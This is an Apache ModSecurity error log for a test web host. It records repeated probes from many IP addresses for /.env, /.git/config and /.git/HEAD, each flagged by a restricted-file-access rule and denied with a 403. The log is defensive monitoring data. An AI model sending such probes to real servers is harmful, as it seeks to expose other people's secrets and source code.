[Thu Jan 02 18:56:19.878203 2025] [:error] [pid 202488] [client 13.203.154.127:46688] [client 13.203.154.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3bTQyFP2_vrs-S7rXrTygAAAA0&quot;]
[Fri Jan 03 20:30:19.922842 2025] [:error] [pid 222322] [client 103.150.186.126:58418] [client 103.150.186.126] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3g6y4WTwKw3vGpCHKiR1AAAAAU&quot;]
[Fri Jan 03 20:30:19.923671 2025] [:error] [pid 222322] [client 103.150.186.126:58418] [client 103.150.186.126] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3g6y4WTwKw3vGpCHKiR1AAAAAU&quot;]
[Fri Jan 03 20:30:19.924250 2025] [:error] [pid 222322] [client 103.150.186.126:58418] [client 103.150.186.126] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3g6y4WTwKw3vGpCHKiR1AAAAAU&quot;]
[Sat Jan 04 10:00:21.845500 2025] [:error] [pid 243649] [client 194.88.99.89:56848] [client 194.88.99.89] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3j4pVq0fqTL7rTndjS_SQAAAAU&quot;], referer: http://pms.test.indacotrentino.com:80/.env
[Sat Jan 04 10:00:21.846730 2025] [:error] [pid 243649] [client 194.88.99.89:56848] [client 194.88.99.89] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3j4pVq0fqTL7rTndjS_SQAAAAU&quot;], referer: http://pms.test.indacotrentino.com:80/.env
[Sat Jan 04 10:00:21.847073 2025] [:error] [pid 243649] [client 194.88.99.89:56848] [client 194.88.99.89] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3j4pVq0fqTL7rTndjS_SQAAAAU&quot;], referer: http://pms.test.indacotrentino.com:80/.env
[Sun Jan 05 11:48:13.071680 2025] [:error] [pid 265376] [client 13.203.154.127:53656] [client 13.203.154.127] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3pjbR9oJBZiN5YoBQCPzQAAAAk&quot;]
[Sun Jan 05 11:48:13.072588 2025] [:error] [pid 265376] [client 13.203.154.127:53656] [client 13.203.154.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3pjbR9oJBZiN5YoBQCPzQAAAAk&quot;]
[Sun Jan 05 11:48:13.073058 2025] [:error] [pid 265376] [client 13.203.154.127:53656] [client 13.203.154.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3pjbR9oJBZiN5YoBQCPzQAAAAk&quot;]
[Sun Jan 05 18:09:53.333979 2025] [:error] [pid 265379] [client 43.201.65.78:51840] [client 43.201.65.78] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3q84WUpbbDmgnmLJ8VOgAAAAAw&quot;]
[Sun Jan 05 18:09:53.334681 2025] [:error] [pid 265379] [client 43.201.65.78:51840] [client 43.201.65.78] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3q84WUpbbDmgnmLJ8VOgAAAAAw&quot;]
[Sun Jan 05 18:09:53.335098 2025] [:error] [pid 265379] [client 43.201.65.78:51840] [client 43.201.65.78] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3q84WUpbbDmgnmLJ8VOgAAAAAw&quot;]
[Sun Jan 05 19:10:15.325181 2025] [:error] [pid 265393] [client 45.130.203.185:33199] [client 45.130.203.185] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z3rLB2IS553zFSWqHzc22wAAAAI&quot;]
[Sun Jan 05 19:10:15.325666 2025] [:error] [pid 265393] [client 45.130.203.185:33199] [client 45.130.203.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z3rLB2IS553zFSWqHzc22wAAAAI&quot;]
[Sun Jan 05 19:10:15.326131 2025] [:error] [pid 265393] [client 45.130.203.185:33199] [client 45.130.203.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z3rLB2IS553zFSWqHzc22wAAAAI&quot;]
[Sun Jan 05 22:36:20.439700 2025] [:error] [pid 265376] [client 54.227.76.10:48632] [client 54.227.76.10] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3r7VB9oJBZiN5YoBQCP5AAAAAk&quot;]
[Sun Jan 05 22:36:20.440115 2025] [:error] [pid 265376] [client 54.227.76.10:48632] [client 54.227.76.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3r7VB9oJBZiN5YoBQCP5AAAAAk&quot;]
[Sun Jan 05 22:36:20.440303 2025] [:error] [pid 265376] [client 54.227.76.10:48632] [client 54.227.76.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3r7VB9oJBZiN5YoBQCP5AAAAAk&quot;]
[Mon Jan 06 11:18:33.190938 2025] [:error] [pid 286471] [client 45.130.203.237:24955] [client 45.130.203.237] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3ut-fkM3abCDjp4knqROwAAAAU&quot;]
[Mon Jan 06 11:18:33.191474 2025] [:error] [pid 286471] [client 45.130.203.237:24955] [client 45.130.203.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3ut-fkM3abCDjp4knqROwAAAAU&quot;]
[Mon Jan 06 11:18:33.191939 2025] [:error] [pid 286471] [client 45.130.203.237:24955] [client 45.130.203.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3ut-fkM3abCDjp4knqROwAAAAU&quot;]
[Mon Jan 06 12:04:34.595773 2025] [:error] [pid 287916] [client 45.130.203.193:61815] [client 45.130.203.193] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z3u4wtC8EdcJpJkbF48hZAAAAAY&quot;]
[Mon Jan 06 12:04:34.596300 2025] [:error] [pid 287916] [client 45.130.203.193:61815] [client 45.130.203.193] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z3u4wtC8EdcJpJkbF48hZAAAAAY&quot;]
[Mon Jan 06 12:04:34.596770 2025] [:error] [pid 287916] [client 45.130.203.193:61815] [client 45.130.203.193] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z3u4wtC8EdcJpJkbF48hZAAAAAY&quot;]
[Tue Jan 07 21:11:06.311225 2025] [:error] [pid 322329] [client 64.95.13.45:57314] [client 64.95.13.45] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z32KWsHHEv2kOJu8yu-lewAAAAg&quot;]
[Tue Jan 07 21:11:06.313378 2025] [:error] [pid 322329] [client 64.95.13.45:57314] [client 64.95.13.45] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z32KWsHHEv2kOJu8yu-lewAAAAg&quot;]
[Tue Jan 07 21:11:06.313873 2025] [:error] [pid 322329] [client 64.95.13.45:57314] [client 64.95.13.45] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z32KWsHHEv2kOJu8yu-lewAAAAg&quot;]
[Sat Jan 11 23:39:48.546031 2025] [:error] [pid 412073] [client 34.209.141.8:52822] [client 34.209.141.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4LzNLaN1YzbE6nP5Z67FQAAAAc&quot;]
[Sat Jan 11 23:39:48.547904 2025] [:error] [pid 412073] [client 34.209.141.8:52822] [client 34.209.141.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4LzNLaN1YzbE6nP5Z67FQAAAAc&quot;]
[Sat Jan 11 23:39:48.548327 2025] [:error] [pid 412073] [client 34.209.141.8:52822] [client 34.209.141.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4LzNLaN1YzbE6nP5Z67FQAAAAc&quot;]
[Sun Jan 12 03:52:01.414107 2025] [:error] [pid 416184] [client 109.205.213.58:50720] [client 109.205.213.58] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z4MuUSrMBb5jmSOFZpL5GQAAAAA&quot;]
[Sun Jan 12 03:52:01.415025 2025] [:error] [pid 416184] [client 109.205.213.58:50720] [client 109.205.213.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z4MuUSrMBb5jmSOFZpL5GQAAAAA&quot;]
